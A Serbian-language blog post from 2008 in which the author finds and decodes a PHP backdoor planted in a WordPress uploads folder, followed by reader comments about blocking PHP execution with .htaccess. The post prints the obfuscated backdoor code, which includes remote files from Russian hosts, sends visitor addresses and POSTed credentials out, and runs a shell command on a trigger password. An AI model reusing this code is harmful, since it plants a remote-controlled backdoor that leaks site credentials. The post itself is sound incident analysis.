Backdoor na bRlogu?
Upadnem malopre sasvim slučajno u svoj wp-contents/uploads/ folder, kad ima šta i da vidim tamo: Dva PHP fajla, jedan base.php i jedan create.php, kao i jedan .htaccess fajl koji usmerava sve 404 greške na create.php. Budem radoznao, otvorim ih kad ono “obfuscated” kod, odnosno nije toliko obfuscated koliko je sve napisano u jednom redu. Ne budem lenj, otvorim ih preko PHPEdit-a koji sam dobio ranije (i za koji sam još uvek dužan da napišem review), odradim ctrl+shift+f (code beautifier) i dobijem lepo ispisan kod:
base.php
-
} else {
-
$user_auth = "&l=" . $_POST["l"] . "&p=" . $_POST["p"];
-
}
-
} else {
-
$user_auth = "";
-
}
-
$log_flg = "&log";
-
}
-
if (!@include_once(base64_decode("aHR0cDovLw==") . "hegfzzazbzbcd" . base64_decode("LnVzZXJzLmJpc2hlbGwucnU=") . "/?r_addr=" . sprintf("%u", ip2long(getenv(REMOTE_ADDR))) . "&url=" . base64_encode($_SERVER["SERVER_NAME"] . $_SERVER[REQUEST_URI]) . $user_auth . $log_flg)) {
-
if ($_POST["l"] == "special") {
-
print "sys_active" . `uname -a`;
-
}
-
}
create.php
-
$s = "e";
-
$str = base64_encode($a) . "." . base64_encode($b) . "." . base64_encode($c) . "." . base64_encode($d) . "." . base64_encode($e) . "." . base64_encode($f) . "." . base64_encode($g) . "." . base64_encode($h) . ".$s";
-
if ((include(base64_decode("aHR0cDovLw==") . "hegfzzazbzbcd" . base64_decode("LnVzZXJzLnBocGZyZWUucnU=") . "/?" . $str))) {
-
} else {
-
include(base64_decode("aHR0cDovLw==") . "hegfzzazbzbcd" . base64_decode("LnVzZXJzLnBocGNvZGluZy5ydQ==") . "/?" . $str);
-
}
Sve ovo što je base64_decode echo-ujem i vidim da je skripta napravljena da cross-site inkluduje u ovu skriptu štagod joj se prosledi sa http://hegfzzazbzbcd.users.phpfree.ru/, odnosno sa http://hegfzzazbzbcd.users.phpcoding.ru ako ne uspe sa ove prve adrese – klasičan backdoor. Nemam pojma od kad to stoji na blogu, niti imam pojma otkud to kod mene u uploads/ folderu, i čudim se kako do sad bRlog nije deface-ovan, ali sad i da hoće neko preko toga da ga deface-uje – ne može, jer sam izbrisao skripte, i sprečio izvršavanje php skripti u uploads/ folderu.
A sad me izvin’te, odoh da proverim ostale blogove, što savetujem i vama.




This post has 17 comments
septembar 15th, 2008
septembar 15th, 2008
oktobar 1st, 2008
A inace, kako si sprečio ovo izvršavanje php skripti u uploads/ folderu?
oktobar 1st, 2008
Što se php-a tiče, to možeš uraditi na razne načine, a najlakši je da zabraniš pristup .php fajlovima. Ovakav .htaccess rešava problem:
<files *.php>
order allow,deny
deny from all
</files>
oktobar 1st, 2008
A jel ovaj .htaccess fajl ubacim u taj folder npr. uploads, ili na globanom nivou. Mozda pitam gluposti, ali ko pita ne skita
Hvala!
oktobar 2nd, 2008
oktobar 2nd, 2008
Ali, u stvari, sad kad razmilism, ako je neko mogao da uploaduje .htaccess fajl u tvoj upload folder, zar ne bi mogao opet to da uradi i jednostavno prebrise ovaj tvoj .htaccess fajl?
oktobar 2nd, 2008
Odnosno, mislim da može da ga prepiše fajl ako .htaccess ima chmod 777 što je suludo. Ja ga u ovom folderu nisam ni imao pa ga je on lako kreirao, ali ako postoji i ima neki normalan chmod, onda napadač nema šanse da ga prepiše.
A i da ima šanse, može se napraviti sličan .htaccess fajl sa istom funkcijom i da stoji u folderu iznad, u koji ne može da se piše
oktobar 2nd, 2008
Pa, ovo je onda sjajno resenje. Izgleda da si me spasao maltretiranja sa promenom hostinga. Puno hvala!
oktobar 2nd, 2008
oktobar 2nd, 2008
oktobar 3rd, 2008
jun 18th, 2009
jun 20th, 2009
septembar 10th, 2009
isti problem sam imao i jedino ga rijesio
brisanjem cijelog sajta. <iframe kodove mi je prepoznao antivirus. Pregledao sam sajt pobrisao sve nepoznate kodove zatrazio provjeru od googla i stavio ch na 444. to je izgleda jedino rjesenje za ove jeftine hostinge!
novembar 17th, 2009
novembar 17th, 2009